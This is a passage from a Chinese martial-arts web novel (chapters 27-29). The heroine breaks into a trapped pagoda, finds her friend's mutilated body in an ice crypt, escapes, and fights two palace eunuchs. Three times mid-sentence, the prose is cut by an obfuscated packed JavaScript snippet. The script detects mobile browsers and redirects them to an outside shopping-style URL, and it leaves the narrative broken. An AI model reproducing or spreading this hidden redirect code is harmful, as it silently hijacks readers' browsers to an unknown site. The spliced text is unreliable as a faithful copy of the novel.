它们绕着五方塔盘桓一周,四只分立塔身四角,最后一只则稳稳落在了塔顶之上。 “叮铃铃——” 塔檐下的金铃立时剧烈地晃动起来。 塔下,五道身着道袍的人影悄无声息地从阴影中漫出。 他们抬头看了一眼塔顶的苍鹭,随即齐齐转身,朝着屠骁藏身的方向猛扑过来。 屠骁暗骂一声,身形一纵,从树上射了出去。 五个人,五条鞭。 这五人的身法并不算高明,可他们使的招式却与章简的武功同出一脉。 若非方才与吕自安一战,她或许还看不出这大内功法的奥妙,但如今,她已几乎了然于胸。 屠骁不退反进,飞身欺入鞭影之中。 她的身子竟似水做的,任凭鞭子角度如何刁钻,都能拧成不可思议的弧度,巧妙地躲开攻击。 那几人见她功夫不差,立刻变换阵型,采取包抄之势。一人绕至身后,一道鞭影挟着厉啸奔向她后心要害。 屠骁仿佛背后长了眼睛,左手五指一张,反手迎着鞭梢抓了过去。 持鞭的道士嘴角绽开狞笑,心道,我这鞭子节节暗藏倒钩,一鞭下去,寻常兵器都能震碎,这人竟敢以血肉之躯相搏,当真不知死活! 他手腕猛地一抖,运上十成力道,只盼着能叫对方臂骨绞断,将人甩上半空。 鞭梢一带,对方果然随之飘起。 然而,这人脸上的得意之色尚未出现,便化作了惊愕。 鞭上传来的并非扯拽之劲,而是一股绵密难言的吸力。那本该被甩飞的人影,非但没有离开,反倒越来越近、越来越大。 只一眨眼,那背影已近在咫尺。 此刻他才骇然惊觉,并非是他在甩人,而是那人借力打力,将他生生扯了过来! 他急忙回夺长鞭,可鞭身却似在对方手中生了根,纹丝不动。 下一瞬,一股巨力传来,他眼前斗转星移,整个身子已凌空飞起,被一个干净利落的过肩摔狠狠掼在地上。 还不待他反应,虎口一震,掌中已是空空如也。 “呵。” 屠骁低笑,抄过鞭子看了一眼。 这鞭子也与章简的不同,更细、更长,每一节之间还有弯钩,不知究竟有什么用处。 很快,她的疑问便得到了解答。 五人迅速变换阵型,只听“咔咔”几声轻响,四条银鞭竟利用那暗藏的弯钩彼此勾连,刹那间便在空中织成了一张巨网,兜头罩来。 屠骁不闪不避,手中长鞭一抖,在那网中一点一绕,整个人已借力从网下穿过。 她身形未停,顺势抓住了那个被夺走兵刃的道士,扼住他的脖子,将人往前一推。 那人躲闪不得,正正撞进了同伴的银鞭巨网之中。 屠骁的手指划过他平滑的喉咙,心中一动。原来这些道士都是太监,那就好办了。 她一击得中,并不恋战,脚下一点,朝着五方塔的方向急奔而去。 那被罩住的太监受了伤,哼也没哼一声,便晕死过去。 余下四人却看也不看他一眼,一脚将他踢开,迅速收拢鞭子,立刻变换身法,紧紧追着屠骁而来。 他们的轻功远不及屠骁。奈何塔顶与四角立着苍鹭,如同五只高悬的眼睛,将她的动向看得一清二楚,时时发出鸣叫为他们指引方向。 实在难缠。 要么,先想法子解决了那几只畜生,再专心与他们过招; 要么,就得迅速了结这四个人。 可即便解决了他们,谁又能保证塔里没有其他的人? 这塔,还要不要闯? 屠骁心思急转,瞬间下了决定。 来都来了,不进去瞧瞧怎么能行? 她当即顿住脚步。 几人以为她无路可逃了,登时心中一喜,立刻把住四面方位,展开鞭网,兜头罩下。 她像是傻了,又像是力竭,不躲,也不动,呆愣愣地望着头顶的银色巨网。 “呼啦——” 网来,人却不在原地。 就在那银芒罩顶的前一刹,屠骁的身形忽然拔起,笔直地升起三尺。 她足尖在那森然的网上一点,千钧力道彷彿都化作了无形。鞭网向下猛地一沉,人却借著那股下坠的巨力投向高空。 众人只觉眼前一花,再定神时,人已落在了五方塔二层。 底下四人的呼吸完全停顿了,他们脸上的狞笑僵住,变成了泥塑木雕般的骇然。 此等轻功,简直世所罕见,匪夷所思! 屠骁却并未停留。 不待站稳,足尖已在塔壁上连点两下,每一次借力,身子便如壁虎游墙,向上窜出丈许。 不过一两个呼吸之间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17115733|194110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她的人已在三层飞檐之下,檐角悬著的金铃正在她头顶微微晃动。 她正准备翻上三层,却听见底下追赶的脚步声忽然停了。 她便也停住,低头看去。 只见那几个太监都停在塔下,脸上露出了诡异的笑。 一个秃眉太监阴恻恻道:“天堂有路你不走,地狱无门自来投,这可真是自寻死路。” 另一人接口道:“过了咱们这一关,塔上还有九九八十一道机关,也足够叫她有去无回了。” 余下两人齐声道:“正是!多少成名的高手想闯这五方塔,不都败在国师的九曲穿心之下?连国师的一片衣角都没摸到,便已化作一滩血水,死无全尸了!” 屠骁探出的手倏然停住,身子也硬生生顿在半空,凭借内力收势回来。 她的目光落在金铃上,眼中没有畏惧之色,反倒闪着好奇的光亮。 铃铛表面泛着一层幽幽的绿光,彼此之间牵着无数根细如蛛丝的线,想来就是他们所说的机关了。 不知这机关究竟是毒水、利箭,还是喷火流弹?塔里头的机关,是否比这外头的机关更厉害、更要命呢? 他们不提则罢,既提到“机关”二字,她愈发想去闯一闯了。 屠骁喉咙微动,忽的冷笑了一声:“谁说我是为了国师而来?” 她故意将嗓音压得嘶哑粗粝,如同两块铁片在摩擦,叫人头皮发麻。 那秃眉太监眼睛上方的肉拧了起来,像两条蠕动的蚯蚓。 “难道不是?” 屠骁又笑了起来:“正因国师不在,我才要来。你们竟不知道为什么?” 那几个太监对视一眼,脸色都微微变了。 屠骁一字一句道:“自然是为了——长生箓!” 这三个字如同惊雷,劈得那几名太监浑身剧震。 他们自然听闻过《长生箓》的名头,只道那是江湖某家的传家秘籍,随着那家人满门被灭,秘籍也早已流落在外。 可他们万万没想到,这本能令人勘破生死玄关的秘籍,竟然就在宫里,就在国师手中! 怪不得,怪不得有那么多人前仆后继地来行刺国师! 一切都能解释得通了! 他们心中惊惧万分,若是这秘籍当真被夺,恐怕死无全尸的就该是他们了。 两人当即便要转身去报信,却被那秃眉太监拦下了。 他压低了声音:“别急!且看他有无本事闯进去。若是闯不进去,又何必多此一举,惊动上头?” 他自然也紧张,但他对五方塔的机关更有信心。 更何况,这人即便侥幸取出长生箓,必定也是身负重伤、无力反抗。到时他再出手,坐收渔翁之利,岂不美哉? 闻言,几人稍稍定神。 秃眉太监仰头喊道:“什么长生路、短生路,我只知你再往前一步,便是黄泉路。可别管咱们没有劝你!” 话虽如此,可他心中却期盼这人不要被他唬住,早些闯进塔去,一探究竟。 长生箓这样的秘宝,即便叫他看上一眼,也死而无憾了! 对方果然不打算离去,问道:“你们以为我为何敢来?又为何偏在此时来?” 话音未落,她的身形倏地一闪,竟直直扑入窗内,只留下一道飘忽的声音在夜空中回荡—— “章都知大恩,某来日再谢!” 秃眉太监一愣,便见塔顶塔身的五只苍鹭齐齐转动脖颈,朝着一个方向发出尖鸣。 几人猛然回头,便见一道人影正飞掠而来。 秃眉太监双目圆睁,咬牙切齿地吐出两个字:“章,简!” 27. 闯塔 人影未近,杀气已至。 章简甚至没有看清来人的脸,四道银鞭已如四条吐信的毒蛇,从夜色中探出,分袭他周身大穴。 守塔这几人本就是常派门下,与章派素来水火不容,此刻仇人见面,更是分外眼红。 章简面上挂着若有若无的笑意,身形却不退反进,腰间软鞭“呛啷”一声出手。 他的鞭法与那几人同出一源,内力却远非他们可比。 只听“啪”的一声脆响,五条长鞭在空中交击,发出金铁相撞的锐鸣,火星四溅,映出四张震惊扭曲的脸。 这四人只觉一股雄浑的劲力顺着鞭身倒卷而来,震得虎口发麻,险些握不住鞭子。 一人厉声骂道:“章简!你们好毒的算计!” 章简鞭势一变,逼得那四人齐齐倒退一步,口中却淡然道:“这话说得奇了,什么算计,还请几位说个明白。” 秃眉太监冷笑:“你们故意将长生箓的消息透出去,引江湖人来刺杀国师,自己好坐收渔翁之利。哼,当真是无本万利!” 章简拧眉,缓缓将鞭子拢回手中,旋即露出一个笑来:“这是我做的?我怎么不知情?” 见到章简的笑,秃眉太监竟有些怕了,忍不住往后缩了缩,梗着脖子道:“呸!谁信?” 章简张了张嘴,发出的只有苦笑。 谁信? 连章简自己也不信。 身为章怀恩最为宠信的义子,手握权柄、武功高强的权都知,竟连干爹的生辰都不知道,更别提《长生箓》这样重大机密了。 ——干爹从不相信任何人,章简也没有资格探问这等机密。 章简唯一知道的是,当年云州屠家满门覆灭,正是因这《长生箓》而起。他也知道,这本秘籍定然还在宫里。 干爹这些年从未放弃过寻找屠家后人,他本以为,干爹此举是为了弥补当年的疏漏,誓要将屠家人赶尽杀绝。 可如今想来,在确认屠骁已死之后,干爹是什么反应呢? 他沉默了许久,脸上惯有的笑都没有了,很是消沉了几日,又转头将目光投向了与屠骁有过牵扯的万家。 莫非屠骁身上还有秘密? 难道是那本《长生箓》另有玄机,非屠家血脉不能参透? 又或许,宫中这本根本就是赝品? 无数念头在他心中电闪而过,可他却没有辩驳。他连自己都说服不了,更何况别人? 于是他只是淡笑道:“我不过是听闻禽鸟异动,担心有变故,才特意前来查探。” “查探?”另一人发出森森冷笑,“我看你是前来接应的吧?” 章简心头一震,那惯常带笑的双眼骤然锐利起来,脱口而出:“真的有人来过?” 连他自己都并未察觉,这话没有惊讶,也没有猜测做实的得意,反倒是急切占了上风。 秃眉太监见他神色有异,愈发笃定,诘问道:“内侍省的手未免太长了些,也敢管到国师的地盘上来了。就算你真是来查探,又怎么会孤身一人,不带帮手? “你如今差事在守静宫,与此地相隔甚远,又怎么能听见塔上的鸟鸣? “除非……你早知道会出事,专门候在此处!” 话音刚落,那几人蓦地出招。 章简却不攻只守,目光死死钉在那座沉浸在月色中的巨塔上,声音冷得像是结了一层冰。 “我只问你们,那人进去了没有?” 秃眉太监见他心急,这才发出得意的尖笑:“怎么,你以为他能得手?这塔内的九曲穿心,便是大罗金仙来了也休想全身而退。你们的人怕是早已化成一滩血水,连骨头渣子都不剩了!” “血水”二字如同铁锥,狠狠刺入章简的心口。 他二话不说,身形一转,竟真的要往塔里闯。 一股狂猛的冲动冲垮了他所有的冷静,连他自己也说不清缘由。 或许他只是好奇,想知道闯进去的那个人是不是万昭仪。 或许他只是想亲眼看看,那本搅动天下的《长生箓》究竟藏着怎样的秘密。 既是为了干爹的大业,也是为了自己的前程。 可连他自己都知道,这理由实在牵强得可笑。 思来想去,只能归结为四个字——饮酒误人。 几名太监见状大惊,以为他要做困兽之斗,连忙布下阵势,严阵以待。 可章简忽又停住了。 他只是定定地看了那五方塔片刻,随即将软鞭盘回腰际,转身便走。 几名太监都愣住了。 “站住!” 秃眉太监怕章简搬来救兵,当即大喝一声,拦住去路,“五方塔禁地,岂是你想来就来,想走就走?” 章简的背影似与夜色融为一体,声音飘忽:“你们待要如何?” 秃眉太监硬声道:“都说章都知尽得章伴真传,今日正好领教一二!” 章简叹了口气:“得罪了。” 鞭影再起,将四人重新卷入战局。 - 杀机从四面涌来。 屠骁翻入塔内,正待寻一处落地,却蓦地脚下一空,她这才恍然发觉,塔中竟没有楼板! 层与层之间没有隔断,一眼便可从底望到顶。地面是深不见底的水潭,从水面至塔顶,仅由四壁盘桓的木阶连接。 那台阶陡峭非常,彼此之间并不相连,也无扶手,如同悬崖峭壁上探出的枯枝,又像是地狱恶鬼伸出的手臂,当真是一夫当关,万夫莫开。 即便轻功一流,想要攀到塔顶,也着实要费些功夫。 “咻咻咻——” 不等屠骁仔细端详,数枚铁蒺藜便从墙壁暗格中暴射而出,密如飞蝗,封死了所有退路。 慌忙之际,她将之前夺来的长鞭猛地抽出,凌空一抖。 鞭子在内力灌注下,挥开一道弧光,尽数将铁蒺藜卷开。 “叮叮当当”一阵乱响,铁蒺藜尽数钉入对面的墙壁和楼梯。而那条长鞭也因承受不住巨大的力道,节节寸断。 屠骁一手攀住窗棂,脚尖勾住楼梯边缘,才将将稳定住身形。 待站定,她才发觉,那些铁蒺藜上头都拴着极细的丝线,交织错落,织成了一张大网。 她将手中的鞭柄丢了出去。 丝线颤动,鞭柄微微一顿,断成两截,化作两道弧线,“咕咚、咕咚”,一前一后砸入水中。 好厉害的丝线! 屠骁暗自咋舌,不敢继续停留,手脚并用,捋着墙壁、轻点台阶,缓缓向上爬去。 两侧墙壁上,每隔三步便点着一盏壁灯,灯火幽绿,将人的影子拉得忽长忽短。 行了七八步,脚下木板忽的“咔哒”一响。 不好! 几乎刚收回脚,便见四面一阵浓烟喷出,刺鼻的甜香随之涌向面门。 顷刻间,浓烟填满了整栋五方塔。 屠骁虽习得闭气的功夫,又提前含了一颗解毒的药丸,仍难免有些毒烟吸入口中。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122113|194110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她双眼发花,唇边却露出了笑意。 暗器、毒烟之后,该轮到囚笼和迷宫了吧? 如同印证她的想法一般,下一瞬,头顶忽的传来轧轧的机括声。 只见凸出塔壁的楼梯节节回缩,整座塔顶化作一块巨板,自头顶迅速坠落,眨眼间已落下三丈。 巨板底部,无数幽绿的亮点划出炫目的光线,密密麻麻,竟全是钢刀! 窗子已自动锁死,四周再无出口可逃,这一下,即便不被砸成肉泥,也要被戳成筛子,再不济,便是被水淹死。 总之绝无求生的可能。 但屠骁知道,绝境之中,仍有一线生机。 她屏住呼吸,在脚下的楼梯回缩之前,忽的调转身形,不进反退,翻身跃下十数级台阶。 什么机关,什么毒烟,分明就是故布疑阵。 若是塔顶这巨板不动还好,这一动,她反而能够确认,柳娘的尸身绝不在楼层之上,而是…… 在地底! 唯一的生机,也正是在地底。 可地底的入口又在哪里呢? “但愿你这次没有骗我……” 屠骁来不及思索,低喃一句,纵身一跃,直直坠了下去。 - 寒意透骨,一落地,潮湿冰冷的空气便侵入肺腑,在屠骁的发梢、眉睫迅速涂上一层白霜。 她打了个寒噤,却笑了。 奉乐十一年,能有本事修建这样一座塔,又有本事逃出去的人,除了南启平家那位大郎君,还有谁呢? 他为皇帝建了这样一座绝妙的机关,得知了这样重大的秘密,总归逃不过殉葬的命运。 可他却活着。 非但活得好好的,还有闲心与她吹嘘自己从大周皇宫“假死脱身”的独门秘技。 平家的机括,历来遵循两仪八卦、生死宿枢之理,于“开、生”吉门处往往暗伏杀机,于“死、伤”凶门处反倒留有生机。 看似死路,实乃生门。 方才那两截鞭柄被丝线割断,跌落在水中,她便听出那声音短促,且发闷,显然水底另有乾坤。 在落水的瞬间,她便发觉那水虽看起来深不见底,实际深浅只刚刚及人小腿。 水下的石板向中间凹陷,两截鞭柄已滚在了一处,那处的石砖凭空缩进去一块,大小正容一人通过。 果然,那石砖被她用力砸开了。 “这次你果然没有骗我,难得,难得。” 屠骁叹了两声,抬眼看去,发觉自己正处在一间冰窟内。 方圆不过十丈,四壁皆是寒冰,冰壁中嵌着数十颗萤石,发出惨白而阴郁的光。 冰室正中央摆着一口宽大的石棺,四角各点着一盏碧油油的长明灯,火苗静静燃烧,却无半分暖意。 屠骁捡起几块方才从头顶掉落的碎石,运起指力,朝着石棺弹去。 “咄!” 石子打在棺身上,发出沉闷的声响。 屠骁等了片刻,不见任何异动,又换了个方向,接连弹出几枚石子。 “咄、咄、铛!” 最后一声,清脆异常,如同金属撞击,似乎触发了什么。 屠骁瞬间屏住呼吸,内力遍走全身,做好了应付任何毒箭暗器的准备。 然而,预想中的攻击并未到来。 只听一阵极其轻微的“轧轧”声,那石棺的棺盖竟从中间裂开一道缝,缓缓向两边滑去。 一角衣袂露了出来。 28. 过招 棺盖终于完全打开,露出里面静静躺着的人。 屠骁的血液仿佛在瞬间凝固,又瞬间沸腾。 她分明如此期待见到柳娘最后一面,可此时此刻,她却宁愿这是一个陷阱,宁愿这石棺中躺着的是个稻草人,是个埋伏的刺客。 呆立许久,她恍然觉出脸上一片凉意,抬手一摸,才发觉不知何时,竟已泪流满面。 她抹去脸上的泪水,一步一步,小心地走了过去。 石棺宽大,棺中人仅着一层薄纱。 极度的严寒延缓了腐烂,尸身轮廓完整,面目依稀可辨,皮肤呈现出一种皮革般的干燥质地,像是过了季的干花,已经失却全部水分和生机。 她的身躯已坚硬如石,双唇微张,似是有千言万语,却来不及诉说。 “你说不必再会,当真没有再会。我答应不再报仇,却不能不报仇……” 屠骁没有一刻比现在更加明白,亲人,朋友,凡是与自己扯上关联的人都死了。 没有人肯放过她,所以连她自己也不能放过自己。 屠骁摘下面纱,裹在手上,抚过万柳身上每一寸。 从头顶到耳后,从手腕到脚踝,心口、颈侧,百会穴、风府穴……指尖迅速游走,在万柳的脐下顿住。 她整个人如遭雷击,猛地一僵。 这里有道疤! 屠骁一把掀开薄纱。 只见那苍白的腹部,赫然有一道三寸来长的伤口! 伤口边缘整齐,创缘苍白,毫无血迹浸染,亦无半分收缩。 这是……死后伤! 非但有伤,她的腹内干瘪,竟空无一物。 有人剖开柳娘的肚子,取走了那个尚未出世的婴儿! 是谁? 为什么要这么做? 那个孩子如今又在何处? 屠骁四下扫视,这冰室一览无余,绝无可能藏匿一个婴儿的尸身。 她的目光重新落回棺中,定定看了片刻,俯下身,用手指掰开万柳的双唇。 一道蓝黑线条出现在牙齿与牙龈的交界处,而口腔内血肉模糊,似乎也被烈性毒物腐蚀过。 她正待仔细查看,脚下的地面却猛然一震。 只听“喀”的一声巨响,整座石棺,连带着底部的石基与油灯竟凌空翻转,带着万柳的尸身,瞬间没入脚下。 与此同时,头顶冰壁上现出无数细孔,数枚弩箭如暴雨般疾射而下。屠骁被迫抽身后退,险险躲过,眼睁睁看着万柳的尸身消失不见。 待她重新站定时,整个冰室已恢复了原状,地面平整光滑,仿佛那具棺椁从未出现过。 她冲到自己跌落的入口处,那里同样也被封住,任凭她无论如何敲打也无法打开。——她被关死在这里了。 就在这时,一个声音自石壁中渗出,在空旷的冰窟中回荡。 “你果然来了。” 这声音年轻清朗,有若清泉击石,又带着一种奇特的磁性,似乎能勾人心魄。只听声音,便足以想象此人是何等的龙章凤姿。 但屠骁不为所动。 她的心早已是坚冰一块,除了仇恨的烈焰,再无任何东西能将其融化。 “我也没料到我能进来。”她朝着声音传来的方向朗声道。 那人道:“我却料到了。是以我备下的石棺足够大,恰好可容纳两个人。” 屠骁道:“你想杀我?” 那人似乎笑了一声,遗憾道:“你既然进得来,也该有本事出去。若是这点本事都没有,死在这里,也省去我一番手脚。” 那声音似远非近,像是从四面八方传来。 屠骁左右看了看,始终瞧不出那人的位置,于是冷哼一声,道:“你平日就住在这样的冰窟窿里?莫非你是练的是阴寒内功,要学那千年寒冰下的老乌龟么?” 那人又是一阵轻笑,如同羽毛拂过冰层,他应当还有话要说,可久久没再有声音传来。 屠骁连唤了数声,四下里只余死寂。 寒气侵肌刺骨,屠骁只觉体内真气几欲凝结,指尖足尖已然麻木。更糟的是,两侧冰壁竟发出碌碌之声,缓缓向中央合拢。 心下一片冰凉,她暗道,这果真是一个陷阱,一个为她量身定做的局。 她苦笑一声,已料定自己今日逃不出去,索性在冰冷的地面上坐了下来。 总归亲眼见到了柳娘的尸身,也不算亏。 她摸起地上的弩箭,挽起袖口,在手臂上用力划了一道。 那处已有十三道旧痕,一道新伤,屠家一十四口,今日终于要在地下团聚了。 此刻,她倒是希望世上真的有鬼魂,她正好问问柳娘,究竟谁是凶手,谁毒死了她。 可知道有用什么用呢?她再也无法为柳娘报仇了。 万棠,金拂,平大郎……他们所做的一切难道都要化为乌有了吗? 她死可以,可舍命助她的他们呢? 不甘心…… 真是不甘心! 此念头一生,屠骁登时精神大振,从地上一跃而起。 凭什么? 凭什么有的人血债累累,却能安享富贵? 仇人还活着,她又怎么能甘心等死、引颈受戮? 笑话! 一股烈火从心底最深处烧起,她当即强运内息,活动手脚,竭力驱散了那行将冻结血液的寒意。 只要还有一口气,她决不能就此放弃! 弩箭深深扎入地面,她抬手拔出一支,用箭簇敲击着地面与墙壁,想要寻出机关所在。 可她将四壁敲遍,又回到石棺原处,却仍是石沉大海,毫无反应。 她只好停下。 她想,这冰壁如此厚重,密不透风,若没有孔窍,那人的声音绝不可能轻松传入。 所以,这里一定还有机关。 不在脚下,不在四壁,那么—— 一片幽光之中,她猛地抬头望去。 方才弩箭是从头顶射出来的,上方一定藏有可以安置弩箭,或是更换机簧的空间。 她当即将箭搭在指间,灌注的内力,朝头顶一个方向激射而去。 “咄!” 箭撞在冰壁上,只掉落了些许冰渣。 她不以为意,又拔出几支箭,换了个地方,接连弹出好几箭,结果仍是一样,除了越来越多的冰渣掉落,再无任何变化。 她也不管有没有人听见,朝着头顶大骂。 “你这龟孙王八,有本事杀人,怎么没本事露脸?难道你没脸见人不成?” 回应她的只有冰壁摩擦的“碌碌”声,有若鬼哭。 再过一盏茶的功夫,这两面冰壁便可合拢为一,将人碾为肉泥。 屠骁周身剧颤,牙关格格作响,人却安静下来,盘腿坐在地上,似乎真的放弃了。 也许她终于想通自己要死在这里了,也许她想死得体面些、从容些。 冰壁仍在靠近,碌碌,碌碌,左右相距已不足五尺。 这时,屠骁突然动了。 她霍然而起,足尖在地上一点,整个人如箭离弦,冲天射出。 半空中,她两腿平展,一个“一字擎天”,双足已分踏左右冰壁,竟将身子稳稳架在半空。 有了借力点,她不再迟疑,右掌运集十成功力,猛向头顶轰去。 “砰!” 头顶冰壁微微一震。 她一掌刚挥出,另一掌跟着拍出,双掌连环,劲力层层叠叠,整座冰窟都为之震颤。 两边的石壁似乎被这股力量撼动,顿了一顿,合拢之势骤然加快,一股巨力疯狂地朝着她的双腿挤压而来。 她急忙弯腿,用膝盖死死顶住两侧的墙壁,将全身的力量都汇聚在右掌之上,用尽最后一丝力气,狠狠拍了上去。 只听“轰隆隆”一声巨响,头顶的冰壁终于承受不住连续重击,应声破开一个大洞。 久违的光亮从洞口漏下,大块大块的冰混着碎石坠落。 屠骁身形一闪,在那冰块砸落的间隙中飞身穿过,稳稳地钻到了上面。 站定了,她才发觉自己正处在一条弯曲的甬道之中,想来是塔壁的夹层。 甬道倾斜向上,逼仄狭窄,仅能容一人通过,顶部开了几条透光的窄缝,漏下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133589|194110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几方明亮的光斑。 沿着甬道往前走,约莫绕了一整圈,便见一道上锁的铁门。 屠骁停下脚步。 正在这时,铁门另一边有风传来。 那风很淡、很轻,似是深宫后妃的一缕叹息,悄无声息。但风却来得极快,眨眼间便已飘至近前。那竟是一个人衣袂掀起的 他轻轻拂了一拂,铁门便应声而开。 寸许光斑从他的皂靴上移,最终停在一双眼上,不知是因为失望还是惊讶,那双眼瞪得极大,眼白泛着一层刺目的青光。 他唤了一声:“娘娘安好。” 这是一双她死也不会忘记的眼,这是一道她死也不会忘记的声音。 屠骁浑身迅速颤栗起来,耳朵、双目、口舌……五官七窍似乎都点燃了一把火,她再也无法冷静,再也无法思考,再也无法忍耐。 等她回过神时,一掌已经挥出。 掌影裹挟着裂石穿金的劲风,直取章怀恩胸前“膻中”大穴。章怀恩几乎没有动作,眨眼间便已滑开三尺,站定时,衣角甚至都没有晃动。 掌风落空,却另有一只手斜刺里探出,五指如铁爪,正好扣住屠骁脉门。 屠骁不惊反怒,看也不看,手腕陡然一翻,竟挣开那铁钳般的束缚,反手一掌,便朝着来人当胸印去。 “万昭仪!” 章简低喝一声,想要叫对方冷静下来。 可他错估了自己的重要性,也错估了对方火爆的性子,听到这声音,屠骁的攻势非但没有收回,反而愈发凌厉。 这一掌来势奇诡,迅疾无比,章简被迫出招应对。刚一出手,眼角又是骤然一缩。 她这一招,不正是大弃功的起手式——有去无回? 可由她使来,却全无半分刚猛之气,招式流转之间虽略显生疏,却比他更为迅捷、更为灵动,带着一股不死不休的决绝之意。 她究竟是何时学会的这一招? 她怎么敢使出这一招? 难道她有自信打得过他? 章怀恩难得吃了一惊,章简更是心神剧震。 一刹那的恍惚,便露出了破绽。 “砰!” 一声闷响。 章简只觉胸口如遭重锤,一股强劲的内力穿心而过,喉头一甜,脚步踉跄,腰间随之一紧。 这人竟又要抢他的鞭子!还是当着干爹的面! 章简本来不愿与她动手,但奈何她屡次冒犯,此刻他别无他法,当即将真气贯注指尖,死命一扯,一把将鞭子拽回手中。 另一手也并未留情。 掌风一挥,只听得“嘭”的一声,人影飞了出去,径直撞上石壁,生生将墙撞开一道半寸的裂口。 “噗!” 屠骁吐出半口血,抬手抹了把嘴角,她的半边肩膀已经软了,却勾唇笑了,喝了一声:“再来!” 说着,又欺身攻去。 室内空间逼仄,章简方才已是情不得已,当即急退数步,生生贴到石壁上,朗声道:“娘娘且慢,章伴是来救娘娘脱困的!” 章简这辈子说的假话很多,这句倒难得是句真话。 方才,他重挫了守塔几人,叫他们输得心服口服。可他知道,五方塔并非自己能擅闯的地方,唯有请来干爹才能堂堂正正地进去。 谁曾想,干爹闻言竟奇道:“今日国师已早早离去,不在净室。” 不在净室,那么国师只有一个地方可去——五方塔。 两人匆匆赶来,却不见国师踪影。 凭着官家的印鉴,两人入了塔底,正巧撞上逃出的昭仪娘娘,便将铁锁打开。或许这囚困昭仪娘娘之人正是国师,叫他们撞见了,才匆匆逃走。 因此说是助她脱困,正是所言不虚。 但屠骁却不信。 她发丝张乱,面色惨白,像是刚从坟里爬出来的尸体,一双眼却亮得可怕。 “呸!你们父子一唱一和,倒是好算计。儿子将我骗来,老子又来扮好人。真当我是傻子不成?” 话音未落,她又飞身攻去。 却不是朝着章简,而是直奔章怀恩。 29. 因果 掌风扑面而来,可章怀恩没有动。 又或者说,他动了,但没有人能看清他是怎么动的。 那臃肿痴肥的身形,竟似化作了一缕没有重量的青烟,又好似一片风中的羽毛,只是那么轻轻一飘、一荡,便已在三尺之外。 屠骁的掌力尽数落在了空处,连他的一片衣角也不曾拂动。 一击不中,杀意更炽。 屠骁一掌快过一掌,一招狠过一招。 然而,无论她的招式如何迅捷、如何凌厉,章怀恩那肉山似的身躯总能以一种全然不可思议的姿态避开。 他仿佛不是一个人,而是一团棉絮,一个影子,一团飘忽不定的鬼火。 他没有出手,只是闪躲,那张白净和气的脸上甚至还挂着游刃有余的笑意。 屠骁的心沉了下去。 她从未想过世间竟有如此可怖的身法,这样莫测的步伐。 她终于明白,眼前这个又老又胖的太监,其武功之深,已到了一个她连仰望都看不真切的境地。 他必是修习了某种骇人听闻的奇功,才能有如此匪夷所思的功力。 今日,是她唯一能名正言顺向他出手的时机。 可她杀不了他。 这个念头如同一盆冰水,兜头浇熄了她心中的烈焰。 真气渐渐不继,掌势也渐渐慢了下来,终于,她停住了。 见她停住,章怀恩也立马停了下来。 他依旧站在原地,仿佛从未移动过分毫,只有假须尚在微微颤抖,昭示着方才的一番较量。 屠骁这才有心思打量四周,恍然发觉自己正深处一间窄小的石室内。 室中陈设清简,不过一桌一椅一榻,皆是石头凿成的。头顶的石壁上开了几道狭长的方孔,有微光从孔中漏下,在地上投出几块惨白的光斑。 她忽的问:“什么时辰了?” 章怀恩圆圆的脸笑成一团,道:“天已经亮了。请娘娘回去梳妆,随我去面见官家吧。” 他一字不提自己为何而来,也一字不问她为何在此。那神情,那语气,真像是一位慈祥的长辈,宽容地陪着晚辈打闹游戏。 可屠骁知道,这世上绝没有比他更不慈祥的人。 他不是来救她的,他是来给她收尸的。 章简先前与她说的那些话,恐怕全都是出自他的授意。他们父子一唱一和,就是为了将她引来此处,让她陷入五方塔的陷阱之中。 只是他们没有料到,她竟然能从那冰窟中活着出来。 于是,他们只好匆匆现身,扮出一副大义凛然、出手相救的姿态。 章怀恩为什么要害她? 他是怕她继续追查下去? 柳娘的死难道也与他有关?还是他已认出了自己? 无数念头电闪而过,屠骁还未理出头绪,便觉一缕微风拂面而来。 那风很轻、很细,几乎感觉不到,却在将将触及她胁下大穴时,轰然爆出一股霸道的劲力。 她张了张嘴,身子一软,“咚”的一声倒了下去。 那双亮得可怕的眼终于阖上了。 章简站在一旁,竟不自觉地松了口气。 可这口气还没吐完,他便已“扑通”一声跪了下去,重重叩首道:“今日之事,都怪儿子自作主张,请干爹责罚。” 他不敢抬头,更不敢祈求原谅。 若不是他故意言语相激,万昭仪又怎么会冒险闯塔?若是她当真死在了这里,干爹交代的事情,岂不是尽数毁于一旦? 他怎么能料到,看似蠢笨弱质的万昭仪竟真的有本事闯入塔来? 一时无人开口,章简跪在地上,冷汗涔涔。 许久,章怀恩的笑声才缓缓响起:“你这主意好得不得了,我又怎么舍得怪你?” 